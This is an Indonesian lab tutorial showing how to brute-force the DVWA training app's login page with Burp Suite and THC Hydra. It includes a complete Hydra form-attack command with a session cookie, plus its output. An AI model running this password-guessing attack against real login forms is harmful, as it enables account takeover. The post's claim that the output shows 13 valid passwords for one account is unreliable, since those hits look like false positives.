Jumat, 31 Maret 2017

DVWA Brute Force Login untuk Security Level Low



Berikut ini adalah tutorial bagaimana caranya melakukan brute force attack untuk memperoleh passsword di DVWA dengan low securiry.

Kebutuhan Alat
  • Kali Linux
  • DVWA x1.9 jalan di mesin yang terpisah
STEP 1: Intelejen
Pekerjaan rumah yang harus di selesaikan adalah mencari tahu,
  • apa yang terjadi saat user submit form?
  • apakah GET atau POST request?
  • kemana request tersebut di kirim?
  • bentuk data yang dikirim?
Kita akan menggunakan Burp Suite di Kali Linux sebagai proxy. Untuk membayangkan posisi burpsuite sebagai proxy adalah sebagai berikut,

HTTP request tanpa proxy
Browser -> Target server

HTTP request dengan proxy
Browser -> Proxy server -> Target server

Dengan Burp Suite bekerja sebagai proxy, kita bisa melihat / inspect HTTP request yang terjadi.

Siapkan DVWA
Yang perlu di siapkan adalah menset security level menjadi low
  • login ke DVWA
  • klik DVWA Security (di bagian bawah)
  • ubah Security Level > Low
  • klik Submit
Setup burpsuite proxy
Masuk ke
   Applications > Favorites > burpsuite

Cek proxy running
   Klik Proxy (Tap Kiri Atas) > Options

lihat bahwa:
   proxy berjalan di 127.0.0.1:8080
   kondisi running

Setup Browser
Setup browser, di Kali Linux kita menggunakan Iceweasel. Pastikan proxy menggunakan burpsuite, caranya,

 Klik kanan pada Iceweasel > aktifkan menu - supaya hidup kita mudah.
 Klik Edit > Preferences > Advanced > Network > Settings
 Pindahkan dari
       use system proxy settings > manual proxy configuration
       Pastikan proxy di set ke burpsuite 127.0.0.1 port 8080

Silahkan browse ke sasaran dengan kondisi brupsuite interceptor on.

Analisa login request
Dengan interceptor enabled. Browse ke sasaran, misalnya,

   http://target.site/DVWA-1.0/vulnerabilities/brute/
   http://192.168.0.100/DVWA-1.0/vulnerabilities/brute/

Semua request dari browser akan di tahan oleh brupsuite. Kita dapat inspect, modify, drop, atau forward request tersebut.

Tanpa memasukan username / password, tekan tombol login. Lihat reqest yang ada di brupsuite. Kita harusnya melihat beberapa key info,

    Ini adalah GET request
    login paramater (username=&password=&Login=Login)
    cookie (security=low; PHPSESSID=ahs8eugnukjkh9auegathrbfg5)

Dengan informasi ini kita dapat mebuat request yang sama, dan menggunakannya untuk brute force attack.

STEP 2: attack.
Kita akan menggunakan THC hydra untuk melakukan rapid dictionary attack pada layanan authentikasi. hydra mempunyai banyak pilihan, bisa dilihat menggunakan

 hydra -h

Yang kita perlu masukan ke hydra untuk serangan kita adalah:

    target server
    URL path
    username
    password dictionary
    cookie
    failure message

Kita akann cheat sedikit dengan menggunakan username admin, kita bisa saja menggunakan username dictionary, hanya membuat proses menjadi lebih lama. Kita akan fokus ke password dulu.
Failure message adalah responds yang akan kita dapat dari login form jika kita gagal login. Ini adalah string yang di cari hydra dari responds HTML yang ada.
Hasil akhir perintah hydra yang akan digunakan adalah sebagai berikut,

hydra 192.168.0.100 -l admin -P /usr/share/set/src/fasttrack/wordlist.txt  http-get-form "/DVWA-1.9/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie:security=low;PHPSESSID=ahs8eugnukjkh9auegathrbfg5"

In action:
Setelah hydra di jalankan, hasilnya kira-kira,

 Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

 Hydra (http://www.thc.org/thc-hydra) starting at 2017-03-04 05:28:01
 [DATA] max 16 tasks per 1 server, overall 64 tasks, 141 login tries (l:1/p:141), ~0 tries per task
 [DATA] attacking service http-get-form on port 80
 [80][http-get-form] host: 192.168.0.100   login: admin   password: test
 [80][http-get-form] host: 192.168.0.100   login: admin   password: testing123
 [80][http-get-form] host: 192.168.0.100   login: admin   password: testtest
 [80][http-get-form] host: 192.168.0.100   login: admin   password: testing
 [80][http-get-form] host: 192.168.0.100   login: admin   password: test-sql3
 [80][http-get-form] host: 192.168.0.100   login: admin   password: bankbank
 [80][http-get-form] host: 192.168.0.100   login: admin   password: testing
 [80][http-get-form] host: 192.168.0.100   login: admin   password:  sqlsqlsqlsqlsql
 [80][http-get-form] host: 192.168.0.100   login: admin   password: password2
 [80][http-get-form] host: 192.168.0.100   login: admin   password: default
 [80][http-get-form] host: 192.168.0.100   login: admin   password: password
 [80][http-get-form] host: 192.168.0.100   login: admin
 [80][http-get-form] host: 192.168.0.100   login: admin   password: test
 1 of 1 target successfully completed, 13 valid passwords found
 Hydra (http://www.thc.org/thc-hydra) finished at 2017-03-04 05:28:02

Terlihat dengan jelas ada 13 valid password admin :) ...Yang normal kita gunakan biasanya username admin password password.


Referensi
  • http://lms.onnocenter.or.id/wiki/index.php/DVWA:_Brute_Force_login_low
  • https://medium.com/@dannybeton/dvwa-brute-force-tutorial-low-security-463880d53e50#.gezblpmna
  • https://c.uctalks.ucweb.com/detail/b283d3bf88cb4a06b16ffd073027bc77?uc_param_str=dnvebichfrmintcpwidsudsvnwpflameefut